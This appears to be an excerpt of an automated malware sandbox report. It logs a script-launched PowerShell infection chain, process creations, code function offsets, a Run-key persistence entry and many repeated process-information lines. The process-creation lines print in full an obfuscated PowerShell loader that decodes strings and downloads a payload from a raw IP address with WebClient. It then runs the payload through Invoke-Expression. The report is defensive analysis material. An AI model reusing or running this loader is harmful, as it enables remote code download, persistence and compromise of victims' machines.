z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F309E8 push E85E515Dh; ret	2_2_00007FF848F309F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00AF3AC3 push ebx; retf	5_2_00AF3ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_072808C2 push eax; mov dword ptr [esp], ecx	5_2_07280AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07280AB9 push eax; mov dword ptr [esp], ecx	5_2_07280AC4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2070B008 push es; iretd	9_2_2070B009
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2070225F pushad ; ret	9_2_207027F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207027FA pushad ; ret	9_2_207027F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2070283D push eax; iretd	9_2_20702858
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20709939 push es; iretd	9_2_20709940
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207309AD push ecx; mov dword ptr [esp], ecx	9_2_207309B6

Source: C:\Windows\SysWOW64\AtBroker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3FZ4SBL			Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3FZ4SBL			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
